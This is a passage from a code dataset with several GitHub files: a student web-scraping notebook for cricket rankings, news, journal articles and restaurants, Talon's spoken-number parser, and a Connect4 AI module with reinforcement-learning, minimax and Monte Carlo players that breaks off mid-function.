In[69]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/womens/team-rankings/odi\")\npage\n\n\n# In[70]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[71]:\n\n\nteamwood=soup.find_all('span', class_=\"u-show-phablet\")\nteamwood\n\n\n# In[72]:\n\n\nteams = []\nfor womens_team in teamwood:\n    womens_team=womens_team.get_text().replace('\\n',\"\")\n    womens_team=womens_team.strip(\" \")\n    teams.append(womens_team)\nteams\n\n\n# In[73]:\n\n\nwomenrating=soup.find_all('td', class_=\"table-body__cell u-text-right rating\")\nwomenrating\n\n\n# In[74]:\n\n\nteamsra = []\nfor womens_teamrat in womenrating:\n    womens_teamrat=womens_teamrat.get_text().replace('\\n',\"\")\n    womens_teamrat=womens_teamrat.strip(\" \")\n    teamsra.append(womens_teamrat)\nteamsra[0:12]\n\n\n# In[75]:\n\n\nwomenmatches=soup.find_all('td', class_=\"rankings-block__banner--matches\")\nwomenmatches\n\n\n# In[76]:\n\n\ndata=pd.DataFrame()\ndata['players_name']=teams\ndata['nationality']=teamsra\ndata.head(10)\n\n\n# In[ ]:\n\n\nlen(teams)\n\n\n# In[ ]:\n\n\nlen(teamsra)\n\n\n# In[ ]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/womens/player-rankings/odi\")\npage\n\n\n# In[ ]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[ ]:\n\n\nplayerwomen=soup.find_all('td', class_=\"table-body__cell name\")\nplayerwomen\n\n\n# In[ ]:\n\n\nplayername = []\nfor womens_player in playerwomen:\n    womens_player=womens_player.get_text().replace('\\n',\"\")\n    womens_player=womens_player.strip(\" \")\n    playername.append(womens_player)\nplayername[0:28]\n\n\n# In[ ]:\n\n\nnatwomen=soup.find_all('span', class_=\"table-body__logo-text\")\nnatwomen\n\n\n# In[77]:\n\n\nplayernation = []\nfor womens_nation in natwomen:\n    womens_nation=womens_nation.get_text().replace('\\n',\"\")\n    womens_nation=womens_nation.strip(\" \")\n    playernation.append(womens_nation)\nplayernation\n\n\n# In[78]:\n\n\nratwomen=soup.find_all('td', class_=\"table-body__cell u-text-right rating\")\nratwomen\n\n\n# In[79]:\n\n\nplayerrating = []\nfor womens_rating in ratwomen:\n    womens_rating=womens_rating.get_text().replace('\\n',\"\")\n    womens_rating=womens_rating.strip(\" \")\n    playerrating.append(womens_rating)\nplayerrating\n\n\n# In[80]:\n\n\ndata=pd.DataFrame()\ndata['players_name']=playername\ndata['nationality']=playernation\ndata['ratings']=playerrating\ndata.head(10)\n\n\n# In[81]:\n\n\nlen(playername)\n\n\n# In[82]:\n\n\nlen(playernation)\n\n\n# In[83]:\n\n\nlen(playerrating)\n\n\n# In[84]:\n\n\npage=requests.get(\"https://www.icc-cricket.com/rankings/womens/player-rankings/odi/all-rounder\")\npage\n\n\n# In[85]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[90]:\n\n\nal_women=soup.find_all('td', class_=\"table-body__cell rankings-table__name name\")\nal_women\n\n\n# In[91]:\n\n\nalplayer = []\nfor womens_all in al_women:\n    womens_all=womens_all.get_text().replace('\\n',\"\")\n    womens_all=womens_all.strip(\" \")\n    alplayer.append(womens_all)\nalplayer\n\n\n# In[93]:\n\n\nnat_women=soup.find_all('td', class_=\"table-body__cell nationality-logo rankings-table__team\")\nnat_women\n\n\n# In[94]:\n\n\nnatplayer = []\nfor womens_nat in nat_women:\n    womens_nat=womens_nat.get_text().replace('\\n',\"\")\n    womens_nat=womens_nat.strip(\" \")\n    natplayer.append(womens_nat)\nnatplayer\n\n\n# In[95]:\n\n\nrat_women=soup.find_all('td', class_=\"table-body__cell rating\")\nrat_women\n\n\n# In[96]:\n\n\nratplayer = []\nfor womens_rat in rat_women:\n    womens_rat=womens_rat.get_text().replace('\\n',\"\")\n    womens_rat=womens_rat.strip(\" \")\n    ratplayer.append(womens_rat)\nratplayer\n\n\n# In[97]:\n\n\ndata=pd.DataFrame()\ndata['players_name']=alplayer\ndata['nationality']=natplayer\ndata['ratings']=ratplayer\ndata.head(10)\n\n\n# # a python program to scrape mentioned news details \n\n# In[98]:\n\n\npage=requests.get(\"https://www.cnbc.com/world/?region=world\")\npage\n\n\n# In[99]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[104]:\n\n\nnews=soup.find_all('div', class_=\"LatestNews-headlineWrapper\")\nnews\n\n\n# In[105]:\n\n\nnews_headings = []\nfor news_lat in news:\n    news_lat=news_lat.get_text().replace('\\n',\"\")\n    news_lat=news_lat.strip(\" \")\n    news_headings.append(news_lat)\nnews_headings\n\n\n# In[103]:\n\n\nnews_time=soup.find_all('time', class_=\"LatestNews-timestamp\")\nnews_time\n\n\n# In[ ]:\n\n\nnews_headings = []\nfor news_lat in news:\n    news_lat=news_lat.get_text().replace('\\n',\"\")\n    news_lat=news_lat.strip(\" \")\n    news_headings.append(news_lat)\nnews_headings\n\n\n# In[107]:\n\n\nnews_link=soup.find_all('div', class_=\"nav-menu-navLinks\")\nnews_link\n\n\n# In[108]:\n\n\nlink = []\nfor latest in news_link:\n    latest=latest.get_text().replace('\\n',\"\")\n    latest=latest.strip(\" \")\n    link.append(latest)\nlink\n\n\n# In[168]:\n\n\ndata=pd.DataFrame()\ndata['time & headings']=news_headings\ndata['link']=link\ndata\n\n\n# # a python program to scrape the details of most downloaded articles from AI\n\n# In[111]:\n\n\npage=requests.get(\"https://www.journals.elsevier.com/artificial-intelligence/most-downloaded-articles\")\npage\n\n\n# In[112]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[115]:\n\n\narticle=soup.find_all('h2', class_=\"sc-1qrq3sd-1 gRGSUS sc-1nmom32-0 sc-1nmom32-1 btcbYu goSKRg\")\narticle\n\n\n# In[116]:\n\n\npaper_title = []\nfor title in article:\n    title=title.get_text().replace('\\n',\"\")\n    title=title.strip(\" \")\n    paper_title.append(title)\npaper_title\n\n\n# In[117]:\n\n\nauthor=soup.find_all('span', class_=\"sc-1w3fpd7-0 dnCnAO\")\nauthor\n\n\n# In[118]:\n\n\nauthor_title = []\nfor writer in author:\n    writer=writer.get_text().replace('\\n',\"\")\n    writer=writer.strip(\" \")\n    author_title.append(writer)\nauthor_title\n\n\n# In[119]:\n\n\ndate=soup.find_all('span', class_=\"sc-1thf9ly-2 dvggWt\")\ndate\n\n\n# In[120]:\n\n\npublished = []\nfor disclose in date:\n    disclose=disclose.get_text().replace('\\n',\"\")\n    disclose=disclose.strip(\" \")\n    published.append(disclose)\npublished\n\n\n# In[131]:\n\n\ndata=pd.DataFrame()\ndata['paper title']=paper_title\ndata['authors']=author_title\ndata['published date']=published\ndata\n\n\n# # a python program to scrape mentioned details from dineout.co.in \n\n# In[132]:\n\n\npage=requests.get(\"https://www.dineout.co.in/delhi-restaurants/buffet-special\")\npage\n\n\n# In[133]:\n\n\nsoup=BeautifulSoup(page.content)\nsoup\n\n\n# In[145]:\n\n\nname=soup.find_all('a', class_=\"restnt-name ellipsis\")\nname\n\n\n# In[146]:\n\n\nras_name = []\nfor rastaurant in name:\n    rastaurant=rastaurant.get_text().replace('\\n',\"\")\n    rastaurant=rastaurant.strip(\" \")\n    ras_name.append(rastaurant)\nras_name\n\n\n# In[152]:\n\n\ncuisine=soup.find_all('span', class_=\"double-line-ellipsis\")\ncuisine\n\n\n# In[153]:\n\n\nras_cuisine = []\nfor type in cuisine:\n    type=type.get_text().replace('\\n',\"\")\n    type=type.strip(\" \")\n    ras_cuisine.append(type)\nras_cuisine\n\n\n# In[154]:\n\n\nlocation=soup.find_all('div', class_=\"restnt-loc ellipsis\")\nlocation\n\n\n# In[155]:\n\n\nras_location = []\nfor place in location:\n    place=place.get_text().replace('\\n',\"\")\n    place=place.strip(\" \")\n    ras_location.append(place)\nras_location\n\n\n# In[156]:\n\n\nrating=soup.find_all('div', class_=\"restnt-rating rating-4\")\nrating\n\n\n# In[167]:\n\n\nras_rating = []\nfor points in rating:\n    points=points.get_text().replace('\\n',\"\")\n    ras_rating.append(points)\nras_rating\n\n\n# In[158]:\n\n\nimage=soup.find_all('img', class_=\"no-img\")\nimage\n\n\n# In[162]:\n\n\nras_image = []\nfor photos in image:\n    photos=photos.get_text().replace('\\n',\"\")\n    photos=photos.strip(\" \")\n    ras_image.append(photos)\nras_image\n\n\n# In[163]:\n\n\ndata=pd.DataFrame()\ndata['rastaurant_name']=ras_name\ndata['cuisine']=ras_cuisine\ndata['location']=ras_location\ndata['ratings']=ras_location\ndata['image']=ras_image\ndata\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"amarjeetvashisht/DATASCIENTIST-VASHISHT","sub_path":"assignment 1 python.py","file_name":"assignment 1 python.py","file_ext":"py","file_size_in_byte":15094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21016230258","text":"from typing import Iterator, Union\n\nfrom talon import Context, Module\n\nmod = Module()\nctx = Context()\n\ndigit_list = \"zero one two three four five six seven eight nine\".split()\nteens = \"ten eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen\".split()\ntens = \"twenty thirty forty fifty sixty seventy eighty ninety\".split()\nscales = \"hundred thousand million billion trillion quadrillion quintillion sextillion septillion octillion nonillion decillion\".split()\n\ndigits_map = {n: i for i, n in enumerate(digit_list)}\ndigits_map[\"oh\"] = 0\nteens_map = {n: i + 10 for i, n in enumerate(teens)}\ntens_map = {n: 10 * (i + 2) for i, n in enumerate(tens)}\nscales_map = {n: 10 ** (3 * (i + 1)) for i, n in enumerate(scales[1:])}\nscales_map[\"hundred\"] = 100\n\nnumbers_map = digits_map.copy()\nnumbers_map.update(teens_map)\nnumbers_map.update(tens_map)\nnumbers_map.update(scales_map)\n\n\ndef parse_number(l: list[str]) -> str:\n    \"\"\"Parses a list of words into a number/digit string.\"\"\"\n    l = list(scan_small_numbers(l))\n    for scale in scales:\n        l = parse_scale(scale, l)\n    return \"\".join(str(n) for n in l)\n\n\ndef scan_small_numbers(l: list[str]) -> Iterator[Union[str, int]]:\n    \"\"\"\n    Takes a list of number words, yields a generator of mixed numbers & strings.\n    Translates small number terms (<100) into corresponding numbers.\n    Drops all occurrences of \"and\".\n    Smashes digits onto tens words, eg. [\"twenty\", \"one\"] -> [21].\n    But note that \"ten\" and \"zero\" are excluded, ie:\n      [\"ten\", \"three\"] -> [10, 3]\n      [\"fifty\", \"zero\"] -> [50, 0]\n    Does nothing to scale words (\"hundred\", \"thousand\", \"million\", etc).\n    \"\"\"\n    # reversed so that repeated pop() visits in left-to-right order\n    l = [x for x in reversed(l) if x != \"and\"]\n    while l:\n        n = l.pop()\n        # fuse tens onto digits, eg. \"twenty\", \"one\" -> 21\n        if n in tens_map and l and digits_map.get(l[-1], 0) != 0:\n            d = l.pop()\n            yield numbers_map[n] + numbers_map[d]\n        # turn small number terms into corresponding numbers\n        elif n not in scales_map:\n            yield numbers_map[n]\n        else:\n            yield n\n\n\ndef parse_scale(scale: str, l: list[Union[str, int]]) -> list[Union[str, int]]:\n    \"\"\"Parses a list of mixed numbers & strings for occurrences of the following\n    pattern:\n\n        <multiplier> <scale> <remainder>\n\n    where <scale> is a scale word like \"hundred\", \"thousand\", \"million\", etc and\n    multiplier and remainder are numbers or strings of numbers of the\n    appropriate size. For example:\n\n        parse_scale(\"hundred\", [1, \"hundred\", 2]) -> [102]\n        parse_scale(\"thousand\", [12, \"thousand\", 3, 45]) -> [12345]\n\n    We assume that all scales of lower magnitude have already been parsed; don't\n    call parse_scale(\"thousand\") until you've called parse_scale(\"hundred\").\n    \"\"\"\n    scale_value = scales_map[scale]\n    scale_digits = len(str(scale_value))\n\n    # Split the list on the desired scale word, then parse from left to right.\n    left, *splits = split_list(scale, l)\n    for right in splits:\n        # (1) Figure out the multiplier by looking to the left of the scale\n        # word. We ignore non-integers because they are scale words that we\n        # haven't processed yet; this strategy means that \"thousand hundred\"\n        # gets parsed as 1,100 instead of 100,000, but \"hundred thousand\" is\n        # parsed correctly as 100,000.\n        before = 1  # default multiplier\n        if left and isinstance(left[-1], int) and left[-1] != 0:\n            before = left.pop()\n\n        # (2) Absorb numbers to the right, eg. in [1, \"thousand\", 1, 26], \"1\n        # thousand\" absorbs [\"1\", \"26\"] to make 1,126. We pull numbers off\n        # `right` until we fill up the desired number of digits.\n        after = \"\"\n        while right and isinstance(right[0], int):\n            next = after + str(right[0])\n            if len(next) >= scale_digits:\n                break\n            after = next\n            right.pop(0)\n        after = int(after) if after else 0\n\n        # (3) Push the parsed number into place, append whatever was left\n        # unparsed, and continue.\n        left.append(before * scale_value + after)\n        left.extend(right)\n\n    return left\n\n\ndef split_list(value, l: list) -> Iterator:\n    \"\"\"Splits a list by occurrences of a given value.\"\"\"\n    start = 0\n    while True:\n        try:\n            i = l.index(value, start)\n        except ValueError:\n            break\n        yield l[start:i]\n        start = i + 1\n    yield l[start:]\n\n\n# # ---------- TESTS (uncomment to run) ----------\n# def test_number(expected, string):\n#     print('testing:', string)\n#     l = list(scan_small_numbers(string.split()))\n#     print(\"  scan --->\", l)\n#     for scale in scales:\n#         old = l\n#         l = parse_scale(scale, l)\n#         if scale in old: print(\"  parse -->\", l)\n#         else: assert old == l, \"parse_scale should do nothing if the scale does not occur in the list\"\n#     result = \"\".join(str(n) for n in l)\n#     assert result == parse_number(string.split())\n#     assert str(expected) == result, f\"parsing {string!r}, expected {expected}, got {result}\"\n\n# test_number(105000, \"one hundred and five thousand\")\n# test_number(1000000, \"one thousand thousand\")\n# test_number(1501000, \"one million five hundred one thousand\")\n# test_number(1501106, \"one million five hundred and one thousand one hundred and six\")\n# test_number(123, \"one two three\")\n# test_number(123, \"one twenty three\")\n# test_number(104, \"ten four\") # borderline, but valid in some dialects\n# test_number(1066, \"ten sixty six\") # a common way of saying years\n# test_number(1906, \"nineteen oh six\") # year\n# test_number(2001, \"twenty oh one\") # year\n# test_number(2020, \"twenty twenty\")\n# test_number(1001, \"one thousand one\")\n# test_number(1010, \"one thousand ten\")\n# test_number(123456, \"one hundred and twenty three thousand and four hundred and fifty six\")\n# test_number(123456, \"one twenty three thousand four fifty six\")\n\n# ## failing (and somewhat debatable) tests from old numbers.py\n# #test_number(10000011, \"one million one one\")\n# #test_number(100001010, \"one million ten ten\")\n# #test_number(1050006000, \"one hundred thousand and five thousand and six thousand\")\n\n\n# ---------- CAPTURES ----------\nalt_digits = \"(\" + \"|\".join(digits_map.keys()) + \")\"\nalt_teens = \"(\" + \"|\".join(teens_map.keys()) + \")\"\nalt_tens = \"(\" + \"|\".join(tens_map.keys()) + \")\"\nalt_scales = \"(\" + \"|\".join(scales_map.keys()) + \")\"\nnumber_word = \"(\" + \"|\".join(numbers_map.keys()) + \")\"\n# don't allow numbers to start with scale words like \"hundred\", \"thousand\", etc\nleading_words = numbers_map.keys() - scales_map.keys()\nleading_words -= {\"oh\", \"o\"}  # comment out to enable bare/initial \"oh\"\nnumber_word_leading = f\"({'|'.join(leading_words)})\"\n\n\n# Numbers used in `number_small` capture\nnumber_small_list = [*digit_list, *teens]\nfor ten in tens:\n    number_small_list.append(ten)\n    number_small_list.extend(f\"{ten} {digit}\" for digit in digit_list[1:])\nnumber_small_map = {n: i for i, n in enumerate(number_small_list)}\n\nmod.list(\"number_small\", desc=\"List of small numbers\")\nctx.lists[\"self.number_small\"] = number_small_map.keys()\n\n\n# TODO: allow things like \"double eight\" for 88\n@ctx.capture(\"digit_string\", rule=f\"({alt_digits} | {alt_teens} | {alt_tens})+\")\ndef digit_string(m) -> str:\n    return parse_number(list(m))\n\n\n@ctx.capture(\"digits\", rule=\"<digit_string>\")\ndef digits(m) -> int:\n    \"\"\"Parses a phrase representing a digit sequence, returning it as an integer.\"\"\"\n    return int(m.digit_string)\n\n\n@mod.capture(rule=f\"{number_word_leading} ([and] {number_word})*\")\ndef number_string(m) -> str:\n    \"\"\"Parses a number phrase, returning that number as a string.\"\"\"\n    return parse_number(list(m))\n\n\n@ctx.capture(\"number\", rule=\"<user.number_string>\")\ndef number(m) -> int:\n    \"\"\"Parses a number phrase, returning it as an integer.\"\"\"\n    return int(m.number_string)\n\n\n@ctx.capture(\"number_signed\", rule=f\"[negative|minus] <number>\")\ndef number_signed(m):\n    number = m[-1]\n    return -number if (m[0] in [\"negative\", \"minus\"]) else number\n\n\n@ctx.capture(\"number_small\", rule=\"{user.number_small}\")\ndef number_small(m) -> int:\n    return number_small_map[m.number_small]\n\n\n@mod.capture(rule=f\"[negative|minus] <number_small>\")\ndef number_signed_small(m) -> int:\n    \"\"\"Parses an integer between -99 and 99.\"\"\"\n    number = m[-1]\n    return -number if (m[0] in [\"negative\", \"minus\"]) else number\n","repo_name":"talonhub/community","sub_path":"core/numbers/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":8498,"program_lang":"python","lang":"en","doc_type":"code","stars":498,"dataset":"github-code","pt":"16"}
+{"seq_id":"7388147059","text":"from Connect4_Globals import *\nfrom Connect4_Players import Player, RandomPlayer\n\nclass ComputerPlayer(Player):\n    \"\"\"A class that represents an AI player in the game\"\"\"\n    \n    def __init__(self, coin_type, player_type, epsilon=0.2, alpha=0.3, gamma=0.9, exploration_coeff=1):\n        \"\"\"\n        Initialize an AI with the proper type which are one of Random, \n        Q learner and Sarsa learner\n        \"\"\"\n        if (player_type == \"qlearner\"):\n            self.player = QLearningPlayer(coin_type, epsilon, alpha, gamma)\n        elif (player_type == \"sarsalearner\"):\n            self.player = SarsaLearningPlayer(coin_type, epsilon, alpha, gamma)\n        elif (player_type == \"montecarlo\"):\n            self.player = MonteCarloPlayer(coin_type, exploration_coeff)\n        elif (player_type == \"minimax\"):\n            self.player = MiniMaxPlayer(coin_type)\n        else:\n            self.player = RandomPlayer(coin_type)\n            \n    def complete_move(self, coin, board, game_logic, background):\n        \"\"\"\n        Move the coin and decide which slot to drop it in and learn from the\n        chosen move\n        \"\"\"\n        actions = board.get_available_actions()\n        state = board.get_state()\n        chosen_action = self.choose_action(state, actions, coin, board, game_logic, background)\n        coin.move_right(background, chosen_action)\n        coin.set_column(chosen_action)\n        game_over = board.insert_coin(coin, background, game_logic)\n        self.player.learn(board, actions, chosen_action, game_over, game_logic)\n        \n        return game_over\n    \n    def get_coin_type(self):\n        \"\"\"\n        Return the coin type of the AI player\n        \"\"\"\n        return self.player.get_coin_type()\n    \n    def choose_action(self, state, actions, coin=None, board=None, game_logic=None, background=None):\n        \"\"\"\n        Choose an action (which slot to drop in) based on the state of the\n        board\n        \"\"\"\n        return self.player.choose_action(state, actions, coin, board, game_logic, background)\n        \nclass QLearningPlayer(Player):\n    \"\"\"A class that represents an AI using Q-learning algorithm\"\"\"\n    \n    def __init__(self, coin_type, epsilon=0.2, alpha=0.3, gamma=0.9):\n        \"\"\"\n        Initialize a Q-learner with parameters epsilon, alpha and gamma\n        and its coin type\n        \"\"\"\n        Player.__init__(self, coin_type)\n        self.q = {}\n        self.epsilon = epsilon # e-greedy chance of random exploration\n        self.alpha = alpha # learning rate\n        self.gamma = gamma # discount factor for future rewards \n        \n    def getQ(self, state, action):\n        \"\"\"\n        Return a probability for a given state and action where the greater\n        the probability the better the move\n        \"\"\"\n        # encourage exploration; \"optimistic\" 1.0 initial values\n        if self.q.get((state, action)) is None:\n            self.q[(state, action)] = 1.0\n        return self.q.get((state, action))    \n        \n    def choose_action(self, state, actions, coin, board, game_logic, background):\n        \"\"\"\n        Return an action based on the best move recommendation by the current\n        Q-Table with a epsilon chance of trying out a new move\n        \"\"\"\n        current_state = state\n\n        if random.random() < self.epsilon: # explore!\n            chosen_action = random.choice(actions)\n            return chosen_action\n\n        qs = [self.getQ(current_state, a) for a in actions]\n        maxQ = max(qs)\n\n        if qs.count(maxQ) > 1:\n            # more than 1 best option; choose among them randomly\n            best_options = [i for i in range(len(actions)) if qs[i] == maxQ]\n            i = random.choice(best_options)\n        else:\n            i = qs.index(maxQ)\n\n        return actions[i]\n    \n    def learn(self, board, actions, chosen_action, game_over, game_logic):\n        \"\"\"\n        Determine the reward based on its current chosen action and update\n        the Q table using the reward recieved and the maximum future reward\n        based on the resulting state due to the chosen action\n        \"\"\"\n        reward = 0\n        if (game_over):\n            win_value = game_logic.get_winner()\n            if win_value == 0:\n                reward = 0.5\n            elif win_value == self.coin_type:\n                reward = 1\n            else:\n                reward = -2\n        prev_state = board.get_prev_state()\n        prev = self.getQ(prev_state, chosen_action)\n        result_state = board.get_state()\n        maxqnew = max([self.getQ(result_state, a) for a in actions])\n        self.q[(prev_state, chosen_action)] = prev + self.alpha * ((reward + self.gamma*maxqnew) - prev)\n\nclass SarsaLearningPlayer(Player):\n    \"\"\"A class that represents an AI using Sarsa-learning algorithm\"\"\"\n    \n    def __init__(self, coin_type, epsilon=0.2, alpha=0.3, gamma=0.9):\n        \"\"\"\n        Initialize a sarsa-learner with parameters epsilon, alpha and gamma\n        and its coin type\n        \"\"\"\n        Player.__init__(self, coin_type)\n        self.q = {}\n        self.epsilon = epsilon # e-greedy chance of random exploration\n        self.alpha = alpha # learning rate\n        self.gamma = gamma # discount factor for future rewards \n        \n    def getQ(self, state, action):\n        \"\"\"\n        Return a probability for a given state and action where the greater\n        the probability the better the move\n        \"\"\"\n        # encourage exploration; \"optimistic\" 1.0 initial values\n        if self.q.get((state, action)) is None:\n            self.q[(state, action)] = 1.0\n        return self.q.get((state, action))    \n        \n    def choose_action(self, state, actions, coin, board, game_logic, background):\n        \"\"\"\n        Return an action based on the best move recommendation by the current\n        Q-Table with a epsilon chance of trying out a new move\n        \"\"\"\n        current_state = state\n\n        if random.random() < self.epsilon: # explore!\n            chosen_action = random.choice(actions)\n            return chosen_action\n\n        qs = [self.getQ(current_state, a) for a in actions]\n        maxQ = max(qs)\n\n        if qs.count(maxQ) > 1:\n            # more than 1 best option; choose among them randomly\n            best_options = [i for i in range(len(actions)) if qs[i] == maxQ]\n            i = random.choice(best_options)\n        else:\n            i = qs.index(maxQ)\n\n        return actions[i]\n    def learn(self, board, actions, chosen_action, game_over, game_logic):\n        \"\"\"\n        Determine the reward based on its current chosen action and update\n        the Q table using the reward recieved and the exploring future reward\n        based on the resulting state due to the chosen action\n        \"\"\"\n        reward = 0\n        if (game_over):\n            win_value = game_logic.get_winner()\n            if win_value == 0:\n                reward = 0.5\n            elif win_value == self.coin_type:\n                reward = 1\n            else:\n                reward = -2\n        \n        prev_state = board.get_prev_state()\n        prev = self.getQ(prev_state, chosen_action)     \n        result_state = board.get_state()\n        qnew = self.getQ(result_state, chosen_action)\n        self.q[(prev_state, chosen_action)] = prev + self.alpha * ((reward + self.gamma*qnew) - prev)\n\nclass MiniMaxPlayer(Player):\n    def __init__(self, coin_type):\n        Player.__init__(self, coin_type) # coin type is 1 or 2\n        self.EMPTY = 0\n        self.AI_PIECE = self.coin_type\n        if self.AI_PIECE == 1:\n            self.PLAYER_PIECE = 2\n        else:\n            self.PLAYER_PIECE = 1\n        \n    def evaluate_window(self, window, piece):\n        score = 0\n        opp_piece = self.PLAYER_PIECE \n        if piece == self.PLAYER_PIECE:\n            opp_piece = self.AI_PIECE\n        if window.count(piece) == 4:\n            score += 100\n        elif window.count(piece) == 3 and window.count(self.EMPTY) == 1:\n            score += 5\n        elif window.count(piece) == 2 and window.count(self.EMPTY) == 2:\n            score += 2\n        if window.count(opp_piece) == 3 and window.count(self.EMPTY) == 1:\n            score -= 4\n        return score  \n\n    def score_position(self, board, piece):\n        (board_n_rows, board_n_cols) = board.get_dimensions()\n        board_state = np.asarray(board.get_state()) # convert tuple into numpy array\n        n_in_a_row = board.get_n_in_a_row()\n        score = 0\n        ## Score center column\n        center_array = [int(i) for i in list(board_state[:, board_n_cols//2])]\n        center_count = center_array.count(piece)\n        score += center_count * 3\n\n        ## Score Horizontal\n        for r in range(board_n_rows):\n            row_array = [int(i) for i in list(board_state[r,:])]\n            for c in range(board_n_cols-3):\n                window = row_array[c:c+n_in_a_row]\n                score += self.evaluate_window(window, piece)\n\n        ## Score Vertical\n        for c in range(board_n_cols):\n            col_array = [int(i) for i in list(board_state[:,c])]\n            for r in range(board_n_rows-3):\n                window = col_array[r:r+n_in_a_row]\n                score += self.evaluate_window(window, piece)\n\n        ## Score positive sloped diagonal\n        for r in range(board_n_rows-3):\n            for c in range(board_n_cols-3):\n                window = [board_state[r+i][c+i] for i in range(n_in_a_row)]\n                score += self.evaluate_window(window, piece)\n\n        for r in range(board_n_rows-3):\n            for c in range(board_n_cols-3):\n                window = [board_state[r+3-i][c+i] for i in range(n_in_a_row)]\n                score += self.evaluate_window(window, piece)\n        return score  \n\n    def choose_action(self, state, actions, coin, board, game_logic, background):\n        minmax_algo = self.minmax(actions, coin, board, 5, -math.inf, math.inf, True, game_logic, background)\n        next_action = minmax_algo[0]\n        if next_action == None:\n            return random.choice(actions)\n        return next_action\n        \n    def minmax(self, actions, coin, board, depth, alpha, beta, maximizingPlayer, game_logic, background):\n        AI_PIECE = self.AI_PIECE\n        PLAYER_PIECE = self.PLAYER_PIECE            \n        valid_locations = actions\n        \n        is_terminal = board.is_terminal_node(PLAYER_PIECE, AI_PIECE)\n        if depth == 0 or is_terminal:\n            if is_terminal:\n                if board.is_winning_move(AI_PIECE):\n                    return (None, 100000000000000)\n                elif board.is_winning_move(PLAYER_PIECE):\n                    return (None, -10000000000000)\n                else: # Game is over, no more valid moves\n                    return (None, 0)\n            else: # Depth is zero\n                value = self.score_position(board, AI_PIECE)\n                return (None, value)\n                \n        if maximizingPlayer:\n            value = -math.inf\n            column = random.choice(valid_locations)\n            for col in valid_locations:\n                row = board.determine_row_to_insert(col)\n                b_copy = board.copy()\n                b_copy.drop_piece(row, col, AI_PIECE)\n                new_score = self.minmax(actions, coin, b_copy, depth-1, alpha, beta, False, game_logic, background)[1]\n                if new_score > value:\n                    value = new_score\n                    column = col\n                alpha = max(alpha, value)\n                if alpha >= beta:\n                    break\n            return (column, value)\n\n        else: # Minimizing player\n            value = math.inf\n            column = random.choice(valid_locations)\n            for col in valid_locations:\n                row = board.determine_row_to_insert(col)\n                b_copy = board.copy()\n                b_copy.drop_piece(row, col, PLAYER_PIECE)\n                new_score = self.minmax(actions, coin, b_copy, depth-1, alpha, beta, True, game_logic, background)[1]\n                if new_score < value:\n                    value = new_score\n                    column = col\n                beta = min(beta, value)\n                if alpha >= beta:\n                    break\n            return (column, value)\n        \n    def learn(self, board, actions, chosen_action, game_over, game_logic):\n        \"\"\"\n        A method to make a move and update any learning parameters if any\n        \"\"\"\n        pass \n\n# Adapted from: http://mcts.ai/code/python.html by Christopher Yong\n# https://replit.com/talk/challenge/Connect-4-AI-using-Monte-Carlo-Tree-Search/10640\n# https://jyopari.github.io/MCTS\n\nclass Node:\n    def __init__(self, piece, board, parent=None, move=None, exploration_coeff=1):\n        self.board = board.copy()\n        self.parent = parent\n        self.move = move\n        self.untriedMoves = board.get_available_actions()\n        self.childNodes = []\n        self.wins = 0\n        self.visits = 0\n        self.player = piece \n        self.exploration_coeff = exploration_coeff\n        \n    # return child with largest UCT value\n    def selection(self):\n        # Upper Confidence bounds applied to Trees\n        # uct = Xj + sqrt(In(N)/Nj)\n        # Xj is the win ratio for a child node\n        # N is the number of times the parent node has been visited\n        # Nj is the number of times the child node has been visited.\n        # Xj represents exploitation, as it is a large value when the win rate is high\n        # Second term represents exploration, as it is large when the number of visits for that node have been low.\n        uct = lambda x: x.wins / x.visits + self.exploration_coeff * np.sqrt(2 * np.log(self.visits) / x.visits)\n        return sorted(self.childNodes, key=uct)[-1]\n\n    # return child when move is taken\n    # remove move from current node\n    def expand(self, move, board, exploration_coeff=1):\n        child = Node(piece=board.prev_player, \n                     board=board,\n                     parent=self,\n                     move=move,\n                     exploration_coeff=exploration_coeff)\n        self.untriedMoves.remove(move)\n        self.childNodes.append(child)\n        return child\n\n    def update(self, result):\n        self.wins += result\n        self.visits += 1\n\nclass MonteCarloPlayer(Player):\n    \"\"\"A class that represents an AI using montecarlo algorithm\"\"\"\n    \n    def __init__(self, coin_type, exploration_coeff):\n        \"\"\"\n        Initialize a montecarlo player with coin type\n        \"\"\"\n        self.currentNode = None\n        Player.__init__(self, coin_type)\n        self.cur_player = self.coin_type\n        self.prev_player = 2 if self.cur_player == 1 else 1 \n        self.exploration_coeff=exploration_coeff \n    \n    def choose_action(self, state, actions, coin, board, game_logic, background):\n        board.prev_player = self.prev_player\n        board.current_player = self.cur_player\n\n        self.currentNode = Node(piece=board.prev_player,board=board, exploration_coeff=self.exploration_coeff)\n        return self.mcts(actions, board, 20000, self.currentNode, coin, game_logic, background, 5)\n\n    def mcts(self, actions, board, itermax, currentNode, coin, game_logic, background, timeout=5):\n        rootnode = Node(piece=board.prev_player,board=board, exploration_coeff=self.exploration_coeff)\n        if currentNode is not None: rootnode = currentNode\n\n        start = time.perf_counter()\n        for i in range(itermax):\n            node = rootnode\n            state = board.copy()\n            \n            # selection\n            while node.untriedMoves == [] and node.childNodes != []:\n                # keep going down the tree based on best UCT values until terminal or unexpanded node\n                \n                node = node.selection()\n                row = state.determine_row_to_insert(node.move)\n                state.drop_piece(row, node.move, state.current_player)\n\n            # expand\n            if node.untriedMoves != []:\n                col = random.choice(node.untriedMoves)\n                row = state.determine_row_to_insert(col)\n                state.drop_piece(row, col, state.current_player)\n                node = node.expand(col, state, self.exploration_coeff)\n\n            # rollout\n            while state.get_available_actions():\n                col = random.choice(state.get_available_actions())\n                row = state.determine_row_to_insert(col)\n                state.drop_piece(row, col, state.current_player)\n                if state.is_winning_move(state.prev_player):\n                    break    \n\n            # backpropagate\n            while node is not None:\n                node.update(self.result(actions, state, node.player))\n                node = node.parent\n\n            duration = time.perf_counter() - start\n            